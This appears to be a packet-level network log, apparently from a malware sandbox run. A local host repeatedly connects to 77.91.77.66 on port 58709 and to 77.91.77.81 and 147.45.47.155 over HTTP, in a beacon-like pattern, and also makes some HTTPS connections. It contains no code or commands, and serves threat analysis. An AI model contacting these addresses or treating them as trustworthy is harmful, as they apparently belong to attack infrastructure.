Jun 20, 2024 15:39:05.875669956 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:05.881999016 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:06.033585072 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.033907890 CEST	49867	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.033922911 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.034451962 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.034939051 CEST	49867	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.035028934 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.035094976 CEST	49867	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.035113096 CEST	49867	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.035130024 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.069200993 CEST	80	49866	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:06.069348097 CEST	49866	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.078962088 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.079003096 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.079061985 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.079610109 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.079624891 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.174932003 CEST	49866	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.175246000 CEST	49870	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.180233002 CEST	80	49866	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:06.180331945 CEST	80	49870	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:06.180413008 CEST	49870	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.180435896 CEST	49866	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.180727959 CEST	49870	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.192677021 CEST	80	49870	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:06.209057093 CEST	80	49868	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:06.209177017 CEST	49868	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:06.209762096 CEST	49868	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:06.214654922 CEST	80	49868	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:06.265930891 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.267198086 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.267251968 CEST	49867	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.267477036 CEST	49867	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.267493963 CEST	443	49867	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.424680948 CEST	80	49868	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:06.424755096 CEST	49868	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:06.531390905 CEST	49868	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:06.531702042 CEST	49871	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:06.538330078 CEST	80	49871	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:06.538341999 CEST	80	49868	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:06.538419008 CEST	49868	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:06.538419008 CEST	49871	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:06.538822889 CEST	49871	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:06.543740034 CEST	80	49871	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:06.811113119 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.813807964 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.813832998 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.814409018 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.818157911 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.818280935 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.818295956 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.818341017 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.818422079 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:06.857863903 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:06.860726118 CEST	80	49870	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:06.860779047 CEST	49870	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.863439083 CEST	49870	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.863735914 CEST	49872	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.868966103 CEST	80	49872	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:06.868978024 CEST	80	49870	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:06.869043112 CEST	49870	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.869066000 CEST	49872	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.869146109 CEST	49872	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:06.873908997 CEST	80	49872	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:07.149241924 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:07.150614023 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:07.150671959 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:07.151964903 CEST	49869	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:39:07.151987076 CEST	443	49869	142.250.186.110	192.168.2.5
Jun 20, 2024 15:39:07.249572039 CEST	80	49871	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:07.250108004 CEST	49871	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:07.252121925 CEST	49871	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:07.258488894 CEST	80	49871	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:07.480441093 CEST	80	49871	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:07.480513096 CEST	49871	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:07.560287952 CEST	80	49872	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:07.560343981 CEST	49872	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:07.593025923 CEST	49871	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:07.593287945 CEST	49873	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:07.598263025 CEST	80	49873	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:07.598669052 CEST	80	49871	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:07.598748922 CEST	49871	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:07.598969936 CEST	49873	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:07.598969936 CEST	49873	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:07.603825092 CEST	80	49873	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:07.672174931 CEST	49872	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:07.672466993 CEST	49874	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:07.677617073 CEST	80	49872	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:07.677707911 CEST	80	49874	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:07.677772999 CEST	49872	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:07.677809954 CEST	49874	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:07.678133965 CEST	49874	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:07.682991982 CEST	80	49874	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:08.314409971 CEST	80	49873	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:08.314466953 CEST	49873	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:08.315260887 CEST	49873	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:08.320228100 CEST	80	49873	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:08.380990982 CEST	80	49874	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:08.381125927 CEST	49874	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.383301020 CEST	49874	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.383730888 CEST	49875	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.388696909 CEST	80	49875	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:08.388909101 CEST	49875	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.389218092 CEST	80	49874	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:08.389267921 CEST	49874	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.389719009 CEST	49875	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.391033888 CEST	49875	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.405399084 CEST	80	49875	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:08.405468941 CEST	49875	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.503212929 CEST	49876	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.508171082 CEST	80	49876	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:08.508392096 CEST	49876	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.508552074 CEST	49876	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:08.513952017 CEST	80	49876	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:08.538907051 CEST	80	49873	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:08.539119005 CEST	49873	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:08.642482042 CEST	49873	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:08.642765045 CEST	49877	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:08.647778034 CEST	80	49877	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:08.647850990 CEST	49877	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:08.647912979 CEST	80	49873	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:08.648047924 CEST	49877	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:08.648056030 CEST	49873	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:08.653049946 CEST	80	49877	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:08.906225920 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:08.911205053 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:09.085472107 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:09.170937061 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:09.176094055 CEST	80	49876	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:09.176177025 CEST	49876	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:09.178699970 CEST	49876	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:09.179022074 CEST	49878	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:09.184874058 CEST	80	49876	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:09.184972048 CEST	80	49878	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:09.185019016 CEST	49876	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:09.185056925 CEST	49878	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:09.185261965 CEST	49878	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:09.186857939 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:09.190084934 CEST	80	49878	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:09.192783117 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:09.254575968 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:09.259663105 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:09.280762911 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:09.285665035 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:09.326054096 CEST	80	49877	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:09.326112032 CEST	49877	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:09.327020884 CEST	49877	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:09.331816912 CEST	80	49877	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:09.540177107 CEST	80	49877	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:09.540321112 CEST	49877	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:09.658752918 CEST	49877	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:09.659014940 CEST	49879	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:09.664083958 CEST	80	49879	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:09.664202929 CEST	49879	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:09.664303064 CEST	80	49877	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:09.664375067 CEST	49877	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:09.664558887 CEST	49879	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:09.669450998 CEST	80	49879	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:09.888674974 CEST	80	49878	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:09.888772011 CEST	49878	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.001682043 CEST	49878	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.001971960 CEST	49880	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.007390022 CEST	80	49880	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:10.007461071 CEST	49880	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.007533073 CEST	80	49878	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:10.007586002 CEST	49878	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.007663012 CEST	49880	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.012474060 CEST	80	49880	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:10.371174097 CEST	80	49879	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:10.371362925 CEST	49879	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:10.372158051 CEST	49879	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:10.381308079 CEST	80	49879	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:10.439678907 CEST	58709	49830	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:10.514585972 CEST	49830	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:10.595254898 CEST	80	49879	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:10.595360994 CEST	49879	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:10.598525047 CEST	49881	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:10.598563910 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:10.598830938 CEST	49881	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:10.600419998 CEST	49881	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:10.600439072 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:10.678467989 CEST	80	49880	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:10.678529024 CEST	49880	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.681534052 CEST	49880	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.681818008 CEST	49882	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.686804056 CEST	80	49882	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:10.687046051 CEST	49882	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.687223911 CEST	80	49880	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:10.687230110 CEST	49882	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.687335014 CEST	49880	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:10.692379951 CEST	80	49882	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:10.703775883 CEST	49879	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:10.704065084 CEST	49883	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:10.709222078 CEST	80	49879	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:10.709276915 CEST	49879	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:10.709651947 CEST	80	49883	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:10.709727049 CEST	49883	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:10.709943056 CEST	49883	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:10.714977980 CEST	80	49883	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:10.901036024 CEST	58709	49842	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:10.967461109 CEST	49842	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:11.116698980 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.116755962 CEST	49881	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.118534088 CEST	49881	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.118541002 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.118910074 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.165244102 CEST	49884	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.165275097 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.165510893 CEST	49884	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.166805983 CEST	49884	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.166817904 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.177685022 CEST	49881	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.220532894 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.305778980 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.305978060 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.306032896 CEST	49881	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.306243896 CEST	49881	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.306272030 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.306283951 CEST	49881	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.306293964 CEST	443	49881	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.308320045 CEST	49885	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.308424950 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.308625937 CEST	49885	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.309063911 CEST	49885	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.309133053 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.378829956 CEST	80	49882	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:11.378914118 CEST	49882	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:11.431677103 CEST	80	49883	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:11.431873083 CEST	49883	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:11.432674885 CEST	49883	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:11.437541962 CEST	80	49883	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:11.448565006 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:11.466912031 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:11.471930981 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:11.490216970 CEST	49882	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:11.490601063 CEST	49886	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:11.495568991 CEST	80	49882	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:11.495592117 CEST	80	49886	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:11.495641947 CEST	49882	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:11.495690107 CEST	49886	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:11.495834112 CEST	49886	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:11.500754118 CEST	80	49886	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:11.611226082 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:11.624222994 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.624294043 CEST	49884	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.625919104 CEST	49884	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.625926971 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.626142979 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.645534992 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:11.654778004 CEST	80	49883	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:11.654850006 CEST	49883	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:11.692878962 CEST	49884	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.695331097 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:11.700222015 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:11.726301908 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:11.733858109 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:11.736511946 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.773679018 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.773745060 CEST	49885	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.776298046 CEST	49885	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.776314974 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.776701927 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.778487921 CEST	49885	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.783279896 CEST	49883	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:11.783576965 CEST	49887	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:11.788999081 CEST	80	49883	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:11.789108038 CEST	80	49887	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:11.789179087 CEST	49883	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:11.789211035 CEST	49887	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:11.789375067 CEST	49887	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:11.792171001 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:11.794367075 CEST	80	49887	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:11.822387934 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.822498083 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.822640896 CEST	49884	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.822933912 CEST	49884	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.822933912 CEST	49884	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:39:11.822954893 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.822963953 CEST	443	49884	34.117.186.192	192.168.2.5
Jun 20, 2024 15:39:11.824376106 CEST	49888	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.824408054 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.824474096 CEST	49888	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.824511051 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.824805021 CEST	49888	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.824826002 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.921463013 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:11.950107098 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.950223923 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.950283051 CEST	49885	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.950359106 CEST	49885	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.950396061 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.950422049 CEST	49885	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:11.950439930 CEST	443	49885	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:11.950951099 CEST	49830	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:11.955872059 CEST	58709	49830	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:12.164827108 CEST	80	49886	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:12.164895058 CEST	49886	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.167522907 CEST	49886	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.167915106 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.172827959 CEST	80	49886	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:12.172884941 CEST	49886	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.172998905 CEST	80	49889	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:12.173139095 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.173283100 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.178122997 CEST	80	49889	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:12.203654051 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:12.208667040 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:12.226862907 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:12.300575972 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:12.300707102 CEST	49888	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:12.301832914 CEST	49888	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:12.301847935 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:12.302103043 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:12.303437948 CEST	49888	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:12.348504066 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:12.375433922 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:12.422343969 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:12.459342003 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:12.459435940 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:12.459747076 CEST	49888	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:12.459774971 CEST	49888	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:12.459794044 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:12.459888935 CEST	49888	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:39:12.459896088 CEST	443	49888	104.26.5.15	192.168.2.5
Jun 20, 2024 15:39:12.460290909 CEST	49842	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:12.465473890 CEST	58709	49842	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:12.475450039 CEST	80	49887	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:12.475730896 CEST	49887	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:12.476522923 CEST	49887	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:12.481487989 CEST	80	49887	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:12.692946911 CEST	80	49887	77.91.77.81	192.168.2.5
